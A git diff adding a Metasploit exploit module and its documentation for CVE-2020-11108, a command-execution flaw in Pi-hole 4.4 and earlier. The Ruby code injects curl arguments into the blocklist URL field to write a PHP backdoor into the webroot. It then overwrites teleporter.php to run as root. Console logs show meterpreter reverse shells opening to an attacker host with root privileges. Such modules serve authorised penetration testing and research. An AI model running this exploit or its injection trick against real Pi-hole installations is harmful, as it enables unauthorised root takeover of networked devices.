diff --git a/documentation/modules/exploit/unix/http/pihole_blocklist_exec.md b/documentation/modules/exploit/unix/http/pihole_blocklist_exec.md new file mode 100644 index 000000000000..7abed0fdda92 --- /dev/null +++ b/documentation/modules/exploit/unix/http/pihole_blocklist_exec.md @@ -0,0 +1,142 @@ +## Vulnerable Application + +This exploits a command execution in Pi-Hole <= 4.4. A new blocklist is added, and then an +update is forced (gravity) to pull in the blocklist content. PHP content is then written +to a file within the webroot. + +Phase 1 writes a sudo pihole command to launch teleporter, effectively running a priv esc. + +Phase 2 writes our payload to `teleporter.php`, overwriting, the content. + +Lastly, the phase 1 PHP file is called in the web root, which launches +our payload in `teleporter.php` with root privileges. + +A more detailed writeup is available from the [original author](https://frichetten.com/blog/cve-2020-11108-pihole-rce/). + +Due to encodings, a local web server is required to be running on port `80`. + +Two blocklist is left within Pi-Hole and should be removed. + +## Verification Steps + + 1. Install the application + 2. Start msfconsole + 3. Do: ```use exploit/unix/http/pihole_blocklist_exec``` + 4. Do: ```set srvhost [IP]``` + 5. Do: ```set rhost [IP]``` + 6. Do: ```run``` + 7. You should get a root shell. + +## Options + +### Password + +Password for the web interface. Randomly set on install. Use `pihole -a -p` to change/remove it. + +## Scenarios + +### Pi-Hole 4.3.2 on Ubuntu 18.04 + + ``` + [*] Processing pihole.rb for ERB directives. + resource (pihole.rb)> use exploit/unix/http/pihole_blocklist_exec + resource (pihole.rb)> set payload php/meterpreter/reverse_tcp + payload => php/meterpreter/reverse_tcp + resource (pihole.rb)> set rhosts 2.2.2.2 + rhosts => 2.2.2.2 + resource (pihole.rb)> set lhost 1.1.1.1 + lhost => 1.1.1.1 + resource (pihole.rb)> set srvhost 1.1.1.1 + srvhost => 1.1.1.1 + resource (pihole.rb)> set srvport 80 + srvport => 80 + resource (pihole.rb)> set verbose true + verbose => true + resource (pihole.rb)> exploit + [*] Exploit running as background job 0. + [*] Exploit completed, but no session was created. + + [*] Started reverse TCP handler on 1.1.1.1:4444 + msf5 exploit(unix/http/pihole_blocklist_exec) > [+] Version Detected: 4.3.2 + [*] Using URL: http://1.1.1.1:80/ + [*] Using cookie: PHPSESSID=45abdcp4rsc9bpi9tchi88ejnn; + [*] Using token: WzmrFbksWxIbtuSVeyrf8yv9o541UdhueLN+BRXfUmY= + [*] Adding backdoor reference + [*] Forcing gravity pull + [*] (1/2) Sending priv esc trigger + [*] Adding root reference + [*] Forcing gravity pull + [*] (2/2) Sending root payload + [*] Popping root shell + [*] Sending stage (38288 bytes) to 2.2.2.2 + [*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:57982) at 2020-05-12 22:30:38 -0400 + [+] Deleted cdJWzln.php + [*] Server stopped. + + msf5 exploit(unix/http/pihole_blocklist_exec) > sessions -1 + [*] Starting interaction with 1... + + meterpreter > getuid + Server username: root (0) + meterpreter > sysinfo + Computer : pihole + OS : Linux pihole 4.15.0-64-generic #73-Ubuntu SMP Thu Sep 12 13:16:13 UTC 2019 x86_64 + Meterpreter : php/linux + ``` + +### Pi-Hole 4.4 on Ubuntu 18.04 + + ``` + [*] Processing pihole.rb for ERB directives. + resource (pihole.rb)> use exploit/unix/http/pihole_blocklist_exec + resource (pihole.rb)> set payload php/meterpreter/reverse_tcp + payload => php/meterpreter/reverse_tcp + resource (pihole.rb)> set rhosts 2.2.2.2 + rhosts => 2.2.2.2 + resource (pihole.rb)> set lhost 1.1.1.1 + lhost => 1.1.1.1 + resource (pihole.rb)> set srvhost 1.1.1.1 + srvhost => 1.1.1.1 + resource (pihole.rb)> set srvport 80 + srvport => 80 + resource (pihole.rb)> set verbose true + verbose => true + resource (pihole.rb)> exploit + [*] Exploit running as background job 0. + [*] Exploit completed, but no session was created. + + [*] Started reverse TCP handler on 1.1.1.1:4444 + msf5 exploit(unix/http/pihole_blocklist_exec) > [+] Version Detected: 4.4 + [*] Using URL: http://1.1.1.1:80/ + [*] Using cookie: PHPSESSID=uee4gcfsjk5m8289m4uk4rv1du; + [*] Using token: uO4ha1e0fy+Qwvoq14XgslT3Z+VJ/h2RR3qyVT6dPz8= + [*] Adding backdoor reference + [*] Forcing gravity pull + [*] Received GET request. Responding + [*] Sending 2nd gravity update request. + [*] Forcing gravity pull + [*] (1/2) Sending priv esc trigger + [*] Adding root reference + [*] Forcing gravity pull + [*] Received GET request. Responding + [*] Sending 2nd gravity update request. + [*] Forcing gravity pull + [*] (2/2) Sending root payload + [*] Popping root shell + [*] Sending stage (38288 bytes) to 2.2.2.2 + [*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:48636) at 2020-05-13 20:34:33 -0400 + [+] Deleted VRwxqyhs.php + + msf5 exploit(unix/http/pihole_blocklist_exec) > sessions -1 + [*] Starting interaction with 1... + + meterpreter > getuid + Server username: root (0) + meterpreter > sysinfo + Computer : pihole + OS : Linux pihole 4.15.0-99-generic #100-Ubuntu SMP Wed Apr 22 20:32:56 UTC 2020 x86_64 + Meterpreter : php/linux + meterpreter > + [*] Blocklists must be removed manually from /admin/settings.php?tab=blocklists + [*] Server stopped. + ``` diff --git a/modules/exploits/unix/http/pihole_blocklist_exec.rb b/modules/exploits/unix/http/pihole_blocklist_exec.rb new file mode 100644 index 000000000000..d96cacc8403c --- /dev/null +++ b/modules/exploits/unix/http/pihole_blocklist_exec.rb @@ -0,0 +1,261 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HttpServer + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Pi-Hole heisenbergCompensator Blocklist OS Command Execution', + 'Description' => %q{ + This exploits a command execution in Pi-Hole <= 4.4. A new blocklist is added, and then an + update is forced (gravity) to pull in the blocklist content. PHP content is then written + to a file within the webroot. Phase 1 writes a sudo pihole command to launch teleporter, + effectively running a priv esc. Phase 2 writes our payload to teleporter.php, overwriting, + the content. Lastly, the phase 1 PHP file is called in the web root, which launches + our payload in teleporter.php with root privileges. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'h00die', # msf module + 'Nick Frichette' # original PoC, discovery + ], + 'References' => + [ + ['EDB', '48443'], + ['EDB', '48442'], + ['URL', 'https://frichetten.com/blog/cve-2020-11108-pihole-rce/'], + ['URL', 'https://github.com/frichetten/CVE-2020-11108-PoC'], + ['CVE', '2020-11108'] + ], + 'Platform' => ['php'], + 'Privileged' => true, + 'Arch' => ARCH_PHP, + 'Targets' => + [ + [ 'Automatic Target', {}] + ], + 'DisclosureDate' => 'May 10 2020', + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES], + 'Reliability' => [REPEATABLE_SESSION] + } + ) + ) + # set the default port, and a URI that a user can set if the app isn't installed to the root + register_options( + [ + Opt::RPORT(80), + OptPort.new('SRVPORT', [true, 'Web Server Port, must be 80', 80]), + OptString.new('PASSWORD', [ false, 'Password for Pi-Hole interface', '']), + OptString.new('TARGETURI', [ true, 'The URI of the Pi-Hole Website', '/']) + ] + ) + end + + def setup + super + @stage = 0 + end + + def on_request_uri(cli, request) + if request.method == 'GET' + vprint_status('Received GET request. Responding') + send_response(cli, rand_text_alphanumeric(5..10)) + return + end + + case @stage + when 0 + vprint_status('(1/2) Sending priv esc trigger') + send_response(cli, %q{}) + @stage += 1 + when 1 + vprint_status('(2/2) Sending root payload') + send_response(cli, payload.encoded) + @stage = 0 + else + send_response(cli, rand_text_alphanumeric(5..10)) + vprint_status("Server received default request for #{request.uri}") + end + end + + def check + begin + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'), + 'method' => 'GET' + ) + fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200 + + # Pi-hole Version <\/b> v4.3.2 + # Pi-hole Version v4.3.2 (Update available!) + %r{Pi-hole Version\s*\s*v?(?[\d\.]+).*} =~ res.body + + if version && Gem::Version.new(version) <= Gem::Version.new('4.4') + vprint_good("Version Detected: #{version}") + return CheckCode::Appears + else + vprint_bad("Version Detected: #{version}") + return CheckCode::Safe + end + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") + end + CheckCode::Safe + end + + def add_blocklist(file, token, cookie) + # according to the writeup, if you have a port, the colon gets messed up in the encoding. + # also, looks like if you have a path (/file.php), it won't trigger either, or the / gets + # messed with. + data = { + 'newuserlists' => %(http://#{datastore['SRVHOST']}#" -o #{file} -d "), + 'field' => 'adlists', + 'token' => token, + 'submit' => 'saveupdate' + } + + send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'), + 'method' => 'POST', + 'cookie' => cookie, + 'vars_get' => { + 'tab' => 'blocklists' + }, + 'data' => data.to_query + ) + end + + def update_gravity(cookie) + vprint_status('Forcing gravity pull') + send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'admin', 'scripts', 'pi-hole', 'php', 'gravity.sh.php'), + 'cookie' => cookie + ) + end + + def execute_shell(backdoor_name, cookie) + vprint_status('Popping root shell') + send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'admin', 'scripts', 'pi-hole', 'php', backdoor_name), + 'cookie' => cookie + ) + end + + def login(cookie) + vprint_status('Login required, attempting login.') + send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'), + 'cookie' => cookie, + 'vars_get' => { + 'tab' => 'blocklists' + }, + 'vars_post' => { + 'pw' => datastore['PASSWORD'] + }, + 'method' => 'POST' + ) + end + + def exploit + if check != CheckCode::Appears + fail_with(Failure::NotVulnerable, 'Target is not vulnerable') + end + + if datastore['SRVPORT'] != 80 + fail_with(Failure::BadConfig, 'SRVPORT must be set to 80 for exploitation to be successful') + end + + if datastore['SRVHOST'] == '0.0.0.0' + fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful') + end + + start_service({ 'Uri' => { + 'Proc' => proc do |cli, req| + on_request_uri(cli, req) + end, + 'Path' => '/' + } }) + + begin + # get cookie + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'admin', 'index.php') + ) + cookie = res.get_cookies + print_status("Using cookie: #{cookie}") + + # get token + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'), + 'cookie' => cookie, + 'vars_get' => { + 'tab' => 'blocklists' + } + ) + + # check if we got hit by a login prompt + if res && res.body.include?('Sign in to start your session') + res = login(cookie) + end + + if res && res.body.include?('Sign in to start your session') + fail_with(Failure::BadConfig, 'Incorrect Password') + end + + # + # may also include / + %r{name="token" value="(?[\w+=/]+)">} =~ res.body + + unless token + fail_with(Failure::UnexpectedReply, 'Unable to find token') + end + print_status("Using token: #{token}") + + # plant backdoor + backdoor_name = "#{rand_text_alphanumeric 5..10}.php" + register_file_for_cleanup backdoor_name + print_status('Adding backdoor reference') + add_blocklist(backdoor_name, token, cookie) + + # update gravity + update_gravity(cookie) + if @stage == 0 + print_status('Sending 2nd gravity update request.') + update_gravity(cookie) + end + + # plant root upgrade + print_status('Adding root reference') + add_blocklist('teleporter.php', token, cookie) + + # update gravity + update_gravity(cookie) + if @stage == 1 + print_status('Sending 2nd gravity update request.') + update_gravity(cookie) + end + + # pop shell + execute_shell(backdoor_name, cookie) + print_status("Blocklists must be removed manually from #{normalize_uri(target_uri.path, 'admin', 'settings.php')}?tab=blocklists") + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") + end + + end +end